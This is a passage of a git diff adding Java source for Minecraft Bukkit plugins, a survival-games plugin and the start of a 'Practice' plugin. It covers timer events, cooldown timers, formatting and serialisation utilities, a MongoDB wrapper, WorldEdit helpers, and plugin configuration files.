+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerExtendEvent.java b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerExtendEvent.java new file mode 100644 index 0000000..42b7c87 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerExtendEvent.java @@ -0,0 +1,98 @@ +package me.redis.kohi.timer.event; + +import com.google.common.base.Optional; +import me.redis.kohi.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} is extended. + */ +public class TimerExtendEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long previousDuration; + private long newDuration; + + public TimerExtendEvent(Timer timer, long previousDuration, long newDuration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public TimerExtendEvent(@Nullable Player player, UUID uniqueId, Timer timer, long previousDuration, long newDuration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getPreviousDuration() { + return previousDuration; + } + + public long getNewDuration() { + return newDuration; + } + + public void setNewDuration(long newDuration) { + this.newDuration = newDuration; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerPauseEvent.java b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerPauseEvent.java new file mode 100644 index 0000000..933804f --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerPauseEvent.java @@ -0,0 +1,78 @@ +package me.redis.kohi.timer.event; + +import com.google.common.base.Optional; +import me.redis.kohi.timer.Timer; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when the pause state of a {@link Timer} changes. + */ +public class TimerPauseEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final boolean paused; + private final Optional userUUID; + private final Timer timer; + + public TimerPauseEvent(Timer timer, boolean paused) { + this.userUUID = Optional.absent(); + this.timer = timer; + this.paused = paused; + } + + public TimerPauseEvent(UUID userUUID, Timer timer, boolean paused) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + this.paused = paused; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + public boolean isPaused() { + return paused; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerStartEvent.java b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerStartEvent.java new file mode 100644 index 0000000..596a2a5 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerStartEvent.java @@ -0,0 +1,75 @@ +package me.redis.kohi.timer.event; + +import com.google.common.base.Optional; +import me.redis.kohi.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} starts. + */ +public class TimerStartEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long duration; + + public TimerStartEvent(Timer timer, final long duration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.duration = duration; + } + + public TimerStartEvent(@Nullable Player player, UUID uniqueId, Timer timer, long duration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.duration = duration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getDuration() { + return duration; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/type/EnderpearlTimer.java b/KohiSG/src/main/java/me/redis/kohi/timer/type/EnderpearlTimer.java new file mode 100644 index 0000000..f6825cf --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/type/EnderpearlTimer.java @@ -0,0 +1,100 @@ +package me.redis.kohi.timer.type; + +import me.redis.kohi.timer.PlayerTimer; +import me.redis.kohi.timer.TimerCooldown; +import me.redis.kohi.utils.DurationFormatter; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.EnderPearl; +import org.bukkit.entity.Player; +import org.bukkit.entity.Projectile; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.event.player.PlayerKickEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +public class EnderpearlTimer extends PlayerTimer implements Listener { + public EnderpearlTimer() { + super("Enderpearl", TimeUnit.SECONDS.toMillis(15L)); + } + + @Override + public String getScoreboardPrefix() { + return ChatColor.YELLOW.toString() + ChatColor.BOLD; + } + + @Override + public void onExpire(UUID userUUID) { + super.onExpire(userUUID); + Player player = Bukkit.getPlayer(userUUID); + if (player != null) { + player.sendMessage(ChatColor.GREEN + "Your enderpearl timer has expired. You may now Enderpearl again."); + } + } + + @Override + public TimerCooldown clearCooldown(UUID playerUUID) { + TimerCooldown runnable = super.clearCooldown(playerUUID); + if (runnable != null) { + return runnable; + } + + return null; + } + + @Override + public void clearCooldown(Player player) { + super.clearCooldown(player); + } + + public void refund(Player player) { + player.getInventory().addItem(new ItemStack(Material.ENDER_PEARL, 1)); + clearCooldown(player); + } + + @EventHandler + public void onPlayerQuit(PlayerQuitEvent event) { + clearCooldown(event.getPlayer()); + } + + @EventHandler + public void onPlayerKick(PlayerKickEvent event) { + clearCooldown(event.getPlayer()); + } + + @EventHandler + public void onPlayerInteract(PlayerInteractEvent event) { + Player player = event.getPlayer(); + if (event.getItem() != null && event.getItem().getType() == Material.ENDER_PEARL) { + if (event.getAction() == Action.RIGHT_CLICK_AIR || event.getAction() == Action.RIGHT_CLICK_BLOCK) { + long remaining = getRemaining(player); + if (remaining > 0L) { + event.setCancelled(true); + player.sendMessage(ChatColor.RED + "You still have an enderpearl cooldown for another " + ChatColor.BOLD + DurationFormatter.getRemaining(remaining, true, false) + ChatColor.RED + '.'); + } + } + } + } + + @EventHandler + public void onProjectileLaunch(ProjectileLaunchEvent event) { + Projectile projectile = event.getEntity(); + if (projectile instanceof EnderPearl) { + EnderPearl enderPearl = (EnderPearl) projectile; + if (enderPearl.getShooter() instanceof Player) { + Player shooter = (Player) enderPearl.getShooter(); + if (getRemaining(shooter) <= 0L) { + setCooldown(shooter, shooter.getUniqueId(), defaultCooldown, true); + } + } + } + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/type/FeastTimer.java b/KohiSG/src/main/java/me/redis/kohi/timer/type/FeastTimer.java new file mode 100644 index 0000000..f5998fd --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/type/FeastTimer.java @@ -0,0 +1,21 @@ +package me.redis.kohi.timer.type; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.timer.GlobalTimer; + +import java.util.concurrent.TimeUnit; + +public class FeastTimer extends GlobalTimer { + private final SurvivalGames plugin; + + public FeastTimer(SurvivalGames plugin) { + super("Feast", TimeUnit.MINUTES.toMillis(7)); + + this.plugin = plugin; + } + + @Override + public String getScoreboardPrefix() { + return "Feast"; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/type/ProtectionTimer.java b/KohiSG/src/main/java/me/redis/kohi/timer/type/ProtectionTimer.java new file mode 100644 index 0000000..6f9dbbe --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/type/ProtectionTimer.java @@ -0,0 +1,77 @@ +package me.redis.kohi.timer.type; + +import com.google.common.base.Optional; +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.timer.PlayerTimer; +import me.redis.kohi.timer.event.TimerClearEvent; +import me.redis.kohi.timer.event.TimerStartEvent; +import org.apache.commons.lang.time.DurationFormatUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.player.PlayerBucketEmptyEvent; +import org.bukkit.event.player.PlayerRespawnEvent; + +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +/** + * Timer used to tag {@link Player}s in combat to prevent entering safe-zones. + */ +public class ProtectionTimer extends PlayerTimer implements Listener { + private final SurvivalGames plugin; + + public ProtectionTimer(SurvivalGames plugin) { + super("Protection", TimeUnit.MINUTES.toMillis(3)); + this.plugin = plugin; + } + + @Override + public String getScoreboardPrefix() { + return ChatColor.RED.toString() + ChatColor.BOLD; + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onTimerStop(TimerClearEvent event) { + if (event.getTimer() == this) { + Optional optionalUserUUID = event.getUserUUID(); + if (optionalUserUUID.isPresent()) { + this.onExpire(optionalUserUUID.get()); + } + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPunch(EntityDamageByEntityEvent event) { + + if (event.getEntity() instanceof Player) { + Player attacked = (Player) event.getEntity(); + + if (SurvivalGames.getPlugin().getTimerManager().getProtection().getRemaining(attacked) > 0) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onDamage(EntityDamageEvent event) { + if (event.getEntity() instanceof Player) { + Player attacked = (Player) event.getEntity(); + + if (SurvivalGames.getPlugin().getTimerManager().getProtection().getRemaining(attacked) != 0) { + if (event.getCause() == EntityDamageEvent.DamageCause.LAVA || event.getCause() == EntityDamageEvent.DamageCause.FIRE || event.getCause() == EntityDamageEvent.DamageCause.FIRE_TICK) event.setCancelled(true); + } + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPlayerRespawn(PlayerRespawnEvent event) { + clearCooldown(event.getPlayer().getUniqueId()); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/utils/DateTimeFormats.java b/KohiSG/src/main/java/me/redis/kohi/utils/DateTimeFormats.java new file mode 100644 index 0000000..7586ccf --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/utils/DateTimeFormats.java @@ -0,0 +1,42 @@ +package me.redis.kohi.utils; + +import org.apache.commons.lang.time.FastDateFormat; + +import java.text.DecimalFormat; +import java.time.ZoneId; +import java.util.Locale; +import java.util.TimeZone; + +public final class DateTimeFormats { + + private DateTimeFormats() { + } + + public static final TimeZone SERVER_TIME_ZONE = TimeZone.getTimeZone("EST"); + public static final ZoneId SERVER_ZONE_ID = SERVER_TIME_ZONE.toZoneId(); + public static final FastDateFormat DAY_MTH_HR_MIN_SECS = FastDateFormat.getInstance("dd/MM HH:mm:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat DAY_MTH_YR_HR_MIN_AMPM = FastDateFormat.getInstance("dd/MM/yy hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat DAY_MTH_HR_MIN_AMPM = FastDateFormat.getInstance("dd/MM hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN_AMPM = FastDateFormat.getInstance("hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN_AMPM_TIMEZONE = FastDateFormat.getInstance("hh:mma z", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN = FastDateFormat.getInstance("hh:mm", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat MIN_SECS = FastDateFormat.getInstance("mm:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + + public static final FastDateFormat KOTH_FORMAT = FastDateFormat.getInstance("m:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat CONQUEST_FORMAT = FastDateFormat.getInstance("ss", SERVER_TIME_ZONE, Locale.ENGLISH); + + // The format used to show one decimal without a trailing zero. + public static final ThreadLocal REMAINING_SECONDS = new ThreadLocal() { + @Override + protected DecimalFormat initialValue() { + return new DecimalFormat("0.#"); + } + }; + + public static final ThreadLocal REMAINING_SECONDS_TRAILING = new ThreadLocal() { + @Override + protected DecimalFormat initialValue() { + return new DecimalFormat("0.0"); + } + }; +} diff --git a/KohiSG/src/main/java/me/redis/kohi/utils/DurationFormatter.java b/KohiSG/src/main/java/me/redis/kohi/utils/DurationFormatter.java new file mode 100644 index 0000000..6b16206 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/utils/DurationFormatter.java @@ -0,0 +1,26 @@ +package me.redis.kohi.utils; + +import org.apache.commons.lang.time.DurationFormatUtils; + +import java.util.concurrent.TimeUnit; + +public class DurationFormatter { + private static final long MINUTE; + private static final long HOUR; + + public static String getRemaining(final long millis, final boolean milliseconds) { + return getRemaining(millis, milliseconds, true); + } + + public static String getRemaining(final long duration, final boolean milliseconds, final boolean trail) { + if (milliseconds && duration < DurationFormatter.MINUTE) { + return (trail ? DateTimeFormats.REMAINING_SECONDS_TRAILING : DateTimeFormats.REMAINING_SECONDS).get().format(duration * 0.001) + 's'; + } + return DurationFormatUtils.formatDuration(duration, ((duration >= DurationFormatter.HOUR) ? "HH:" : "") + "mm:ss"); + } + + static { + MINUTE = TimeUnit.MINUTES.toMillis(1L); + HOUR = TimeUnit.HOURS.toMillis(1L); + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/utils/InventoryUtils.java b/KohiSG/src/main/java/me/redis/kohi/utils/InventoryUtils.java new file mode 100644 index 0000000..2317ecc --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/utils/InventoryUtils.java @@ -0,0 +1,183 @@ +package me.redis.kohi.utils; + +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.PlayerInventory; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +public class InventoryUtils { + public static String playerInventoryToString(PlayerInventory inv) { + StringBuilder builder = new StringBuilder(); + ItemStack[] armor = inv.getArmorContents(); + + for (int i = 0; i < armor.length; i++) { + if (i == 3) { + if (armor[i] == null) { + builder.append(itemStackToString(new ItemStack(Material.AIR))); + } else { + builder.append(itemStackToString(armor[3])); + } + } else { + if (armor[i] == null) { + builder.append(itemStackToString(new ItemStack(Material.AIR))).append(";"); + } else { + builder.append(itemStackToString(armor[i])).append(";"); + } + } + } + + builder.append("|"); + + for (int i = 0; i < inv.getContents().length; ++i) { + builder.append(i).append("#").append(itemStackToString(inv.getContents()[i])) + .append((i == inv.getContents().length - 1) ? "" : ";"); + } + + return builder.toString(); + } + + public static void playerInventoryFromString(String in, Player player) { + if (in == null || in.equals("unset") || in.equals("null") || in.equals("'null'")) return; + + String[] data = in.split("\\|"); + ItemStack[] armor = new ItemStack[data[0].split(";").length]; + + + for (int i = 0; i < data[0].split(";").length; ++i) { + armor[i] = itemStackFromString(data[0].split(";")[i]); + } + + player.getInventory().setArmorContents(armor); + ItemStack[] contents = new ItemStack[data[1].split(";").length]; + for (String s : data[1].split(";")) { + int slot = Integer.parseInt(s.split("#")[0]); + if (s.split("#").length == 1) { + contents[slot] = null; + } else { + contents[slot] = itemStackFromString(s.split("#")[1]); + } + } + + player.getInventory().setContents(contents); + } + + public static String itemStackToString(ItemStack item) { + StringBuilder builder = new StringBuilder(); + if (item != null) { + String isType = String.valueOf(item.getType().getId()); + builder.append("t@").append(isType); + + if (item.getDurability() != 0) { + String isDurability = String.valueOf(item.getDurability()); + builder.append(":d@").append(isDurability); + } + + if (item.getAmount() != 1) { + String isAmount = String.valueOf(item.getAmount()); + builder.append(":a@").append(isAmount); + } + + Map isEnch = (Map) item.getEnchantments(); + if (isEnch.size() > 0) { + for (Map.Entry ench : isEnch.entrySet()) { + builder.append(":e@").append(ench.getKey().getId()).append("@").append(ench.getValue()); + } + } + + if (item.hasItemMeta()) { + ItemMeta imeta = item.getItemMeta(); + if (imeta.hasDisplayName()) { + builder.append(":dn@").append(imeta.getDisplayName()); + } + if (imeta.hasLore()) { + builder.append(":l@").append(imeta.getLore()); + } + } + } + + return builder.toString(); + } + + public static ItemStack itemStackFromString(String in) { + ItemStack item = null; + ItemMeta meta = null; + String[] split; + + if (in.equals("null")) { + return new ItemStack(Material.AIR); + } + + String[] data = split = in.split(":"); + for (String itemInfo : split) { + String[] itemAttribute = itemInfo.split("@"); + String s2 = itemAttribute[0]; + switch (s2) { + case "t": { + item = new ItemStack(Material.getMaterial((int) Integer.valueOf(itemAttribute[1]))); + meta = item.getItemMeta(); + break; + } + case "d": { + if (item != null) { + item.setDurability((short) Short.valueOf(itemAttribute[1])); + break; + } + break; + } + case "a": { + if (item != null) { + item.setAmount((int) Integer.valueOf(itemAttribute[1])); + break; + } + break; + } + case "e": { + if (item != null) { + item.addEnchantment(Enchantment.getById((int) Integer.valueOf(itemAttribute[1])), + (int) Integer.valueOf(itemAttribute[2])); + break; + } + break; + } + case "dn": { + if (meta != null) { + meta.setDisplayName(itemAttribute[1]); + break; + } + break; + } + case "l": { + itemAttribute[1] = itemAttribute[1].replace("[", ""); + itemAttribute[1] = itemAttribute[1].replace("]", ""); + List lore = Arrays.asList(itemAttribute[1].split(",")); + for (int x = 0; x < lore.size(); ++x) { + String s = lore.get(x); + if (s != null) { + if (s.toCharArray().length != 0) { + if (s.charAt(0) == ' ') { + s = s.replaceFirst(" ", ""); + } + lore.set(x, s); + } + } + } + if (meta != null) { + meta.setLore(lore); + break; + } + break; + } + } + } + if (meta != null && (meta.hasDisplayName() || meta.hasLore())) { + item.setItemMeta(meta); + } + return item; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/utils/LocationUtils.java b/KohiSG/src/main/java/me/redis/kohi/utils/LocationUtils.java new file mode 100644 index 0000000..4ff4f40 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/utils/LocationUtils.java @@ -0,0 +1,39 @@ +package me.redis.kohi.utils; + +import org.bukkit.Bukkit; +import org.bukkit.Location; +import org.bukkit.World; + +public class LocationUtils { + public static String getString(Location loc) { + StringBuilder builder = new StringBuilder(); + + if (loc == null) return "unset"; + + builder.append(loc.getX()).append("|"); + builder.append(loc.getY()).append("|"); + builder.append(loc.getZ()).append("|"); + builder.append(loc.getWorld().getName()).append("|"); + builder.append(loc.getYaw()).append("|"); + builder.append(loc.getPitch()); + + return builder.toString(); + } + + public static Location getLocation(String s) { + if (s == null || s.equals("unset") || s.equals("")) return null; + + String[] data = s.split("\\|"); + double x = Double.parseDouble(data[0]); + double y = Double.parseDouble(data[1]); + double z = Double.parseDouble(data[2]); + World world = Bukkit.getWorld(data[3]); + Float yaw = Float.parseFloat(data[4]); + Float pitch = Float.parseFloat(data[5]); + return new Location(world, x, y, z, yaw, pitch); + } + + public static boolean isSameLocation(Location loc1, Location loc2) { + return loc1 != null && loc2 != null && loc1.equals(loc2); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/utils/MongoWrapper.java b/KohiSG/src/main/java/me/redis/kohi/utils/MongoWrapper.java new file mode 100644 index 0000000..15c129c --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/utils/MongoWrapper.java @@ -0,0 +1,33 @@ +package me.redis.kohi.utils; + +import com.mongodb.MongoClient; +import com.mongodb.client.MongoCollection; +import com.mongodb.client.MongoDatabase; +import lombok.Getter; +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.database.information.InformationManager; +import me.redis.kohi.database.profiles.ProfileManager; +import org.bukkit.Bukkit; + +@Getter +public class MongoWrapper { + private MongoClient mongoClient; + private MongoDatabase mongoDatabase; + + private MongoCollection informationCollection; + private InformationManager informationManager; + + private MongoCollection profilesCollection; + private ProfileManager profileManager; + + public MongoWrapper() { + mongoClient = new MongoClient(SurvivalGames.getPlugin().getConfig().getString("MONGODB.CLIENT.ADDRESS"), SurvivalGames.getPlugin().getConfig().getInt("MONGODB.CLIENT.PORT")); + mongoDatabase = mongoClient.getDatabase(SurvivalGames.getPlugin().getConfig().getString("MONGODB.DATABASE.NAME")); + + informationCollection = mongoDatabase.getCollection(SurvivalGames.getPlugin().getConfig().getString("MONGODB.COLLECTIONS.INFORMATION")); + informationManager = new InformationManager(); + + profilesCollection = mongoDatabase.getCollection(SurvivalGames.getPlugin().getConfig().getString("MONGODB.COLLECTIONS.PROFILES")); + profileManager = new ProfileManager(); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/utils/NMSUtils.java b/KohiSG/src/main/java/me/redis/kohi/utils/NMSUtils.java new file mode 100644 index 0000000..bb39171 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/utils/NMSUtils.java @@ -0,0 +1,88 @@ +package me.redis.kohi.utils; + +import com.sk89q.worldedit.EditSession; +import com.sk89q.worldedit.MaxChangedBlocksException; +import com.sk89q.worldedit.Vector; +import com.sk89q.worldedit.blocks.BaseBlock; +import com.sk89q.worldedit.bukkit.BukkitWorld; +import com.sk89q.worldedit.bukkit.WorldEditPlugin; +import com.sk89q.worldedit.patterns.BlockChance; +import com.sk89q.worldedit.patterns.RandomFillPattern; +import com.sk89q.worldedit.patterns.SingleBlockPattern; +import me.redis.kohi.SurvivalGames; +import org.bukkit.Material; +import org.bukkit.World; +import org.bukkit.event.entity.PlayerDeathEvent; +import org.bukkit.scheduler.BukkitRunnable; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +import static org.bukkit.Bukkit.getServer; + +public class NMSUtils { + public static void autoRespawn(PlayerDeathEvent event) { + new BukkitRunnable() { + public void run() { + try { + Object nmsPlayer = event.getEntity().getClass().getMethod("getHandle", new Class[0]).invoke(event.getEntity(), new Object[0]); + Object con = nmsPlayer.getClass().getDeclaredField("playerConnection").get(nmsPlayer); + Class EntityPlayer = Class.forName(nmsPlayer.getClass().getPackage().getName() + ".EntityPlayer"); + Field minecraftServer = con.getClass().getDeclaredField("minecraftServer"); + minecraftServer.setAccessible(true); + Object mcserver = minecraftServer.get(con); + Object playerlist = mcserver.getClass().getDeclaredMethod("getPlayerList", new Class[0]).invoke(mcserver, new Object[0]); + Method moveToWorld = playerlist.getClass().getMethod("moveToWorld", EntityPlayer, Integer.TYPE, Boolean.TYPE); + moveToWorld.invoke(playerlist, nmsPlayer, 0, false); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + }.runTaskLater(SurvivalGames.getPlugin(), 1); + } + + + public static boolean createCylinder(World w, int x, int y, int z, int radius) { + List blocks = new ArrayList<>(); + + blocks.add(new BlockChance(new BaseBlock(Material.SMOOTH_BRICK.getId()), 33)); + blocks.add(new BlockChance(new BaseBlock(Material.GRAVEL.getId()), 33)); + blocks.add(new BlockChance(new BaseBlock(Material.COBBLESTONE.getId()), 33)); + + WorldEditPlugin we = (WorldEditPlugin) getServer().getPluginManager().getPlugin("WorldEdit"); + if (we == null) { + return false; + } + + EditSession es = we.getWorldEdit().getEditSessionFactory().getEditSession(new BukkitWorld(w), -1); + try { + es.enableQueue(); + es.makeCylinder(new Vector(x, y, z), new RandomFillPattern(blocks), radius, radius, 1, true); + es.flushQueue(); + } catch (MaxChangedBlocksException ignored) { + return false; + } + return true; + } + + public static boolean createCylinder(World w, int x, int y, int z, int radius, int height, int block) { + WorldEditPlugin we = (WorldEditPlugin) getServer().getPluginManager().getPlugin("WorldEdit"); + + if (we == null) { + return false; + } + + EditSession es = we.getWorldEdit().getEditSessionFactory().getEditSession(new BukkitWorld(w), -1); + try { + es.enableQueue(); + es.makeCylinder(new Vector(x, y, z), new SingleBlockPattern(new BaseBlock(block)), radius, height, true); + es.drainArea(new Vector(x, y, z), 25); + es.flushQueue(); + } catch (MaxChangedBlocksException ignored) { + return false; + } + return true; + } +} diff --git a/KohiSG/src/main/resources/config.yml b/KohiSG/src/main/resources/config.yml new file mode 100644 index 0000000..cedd336 --- /dev/null +++ b/KohiSG/src/main/resources/config.yml @@ -0,0 +1,9 @@ +MONGODB: + CLIENT: + ADDRESS: "127.0.0.1" + PORT: 27017 + DATABASE: + NAME: "KohiSG" + COLLECTIONS: + INFORMATION: "Information" + PROFILES: "Profiles" \ No newline at end of file diff --git a/KohiSG/src/main/resources/plugin.yml b/KohiSG/src/main/resources/plugin.yml new file mode 100644 index 0000000..ac698a7 --- /dev/null +++ b/KohiSG/src/main/resources/plugin.yml @@ -0,0 +1,5 @@ +main: me.redis.kohi.SurvivalGames +name: SurvivalGames +version: 1.0-RELEASE +load: STARTUP +depend: [WorldEdit] \ No newline at end of file diff --git a/LICENSE b/LICENSE index 261eeb9..989e2c5 100644 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ - Apache License +Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ @@ -198,4 +198,4 @@ distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and - limitations under the License. + limitations under the License. \ No newline at end of file diff --git a/Practice/pom.xml b/Practice/pom.xml new file mode 100644 index 0000000..29802bb --- /dev/null +++ b/Practice/pom.xml @@ -0,0 +1,63 @@ + + + + MCM + me.redis.mcm + 1.0-SNAPSHOT + + 4.0.0 + Practice + + + + org.apache.maven.plugins + maven-shade-plugin + + + package + + shade + + + + + ${artifactId}-${version} + + + org.mongodb:mongo-java-driver + com.google.code.gson:gson + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 1.8 + 1.8 + UTF-8 + + + + + + + org.mongodb + mongo-java-driver + 3.5.0 + + + com.comphenix.protocol + ProtocolLib + 4.4.0-SNAPSHOT + + + mkremins + fanciful + 0.4.0-SNAPSHOT + + + \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/Practice.java b/Practice/src/main/java/me/redis/practice/Practice.java new file mode 100644 index 0000000..954042e --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/Practice.java @@ -0,0 +1,103 @@ +package me.redis.practice; + +import com.mongodb.MongoClient; +import com.mongodb.client.MongoCollection; +import com.mongodb.client.MongoDatabase; +import lombok.Getter; +import me.redis.practice.arena.Arena; +import me.redis.practice.arena.ArenaManager; +import me.redis.practice.kit.KitManager; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.ladders.LadderManager; +import me.redis.practice.listeners.ListenerRegisterer; +import me.redis.practice.match.MatchManager; +import me.redis.practice.profile.Profile; +import me.redis.practice.profile.ProfileManager; +import me.redis.practice.protocol.ProtocolHandler; +import me.redis.practice.queue.QueueManager; +import me.redis.practice.scoreboard.Aether; +import me.redis.practice.scoreboard.sidebars.UHCScoreboard; +import me.redis.practice.spectator.SpectatorManager; +import me.redis.practice.team.TeamManager; +import me.redis.practice.timer.TimerManager; +import me.redis.practice.tournament.TournamentManager; +import me.redis.practice.utils.EntityHider; +import me.redis.practice.utils.command.CommandRegistrer; +import org.bukkit.Bukkit; +import org.bukkit.World; +import org.bukkit.WorldCreator; +import org.bukkit.plugin.java.JavaPlugin; + +@Getter +public class Practice extends JavaPlugin { + @Getter private static Practice plugin; // This one needs the @Getter withoout exception! + + private MongoClient mongoClient; + private MongoDatabase mongoDatabase; + + private MongoCollection arenasCollection; + private MongoCollection laddersCollection; + private MongoCollection profilesCollection; + + private ArenaManager arenaManager; + private LadderManager ladderManager; + private ProfileManager profileManager; + private MatchManager matchManager; + private QueueManager queueManager; + private TeamManager teamManager; + private SpectatorManager spectatorManager; + private KitManager kitManager; + private TournamentManager tournamentManager; + + private EntityHider entityHider; + private TimerManager timerManager; + + @Override + public void onEnable() { + plugin = this; + + saveDefaultConfig(); + + getServer().createWorld(new 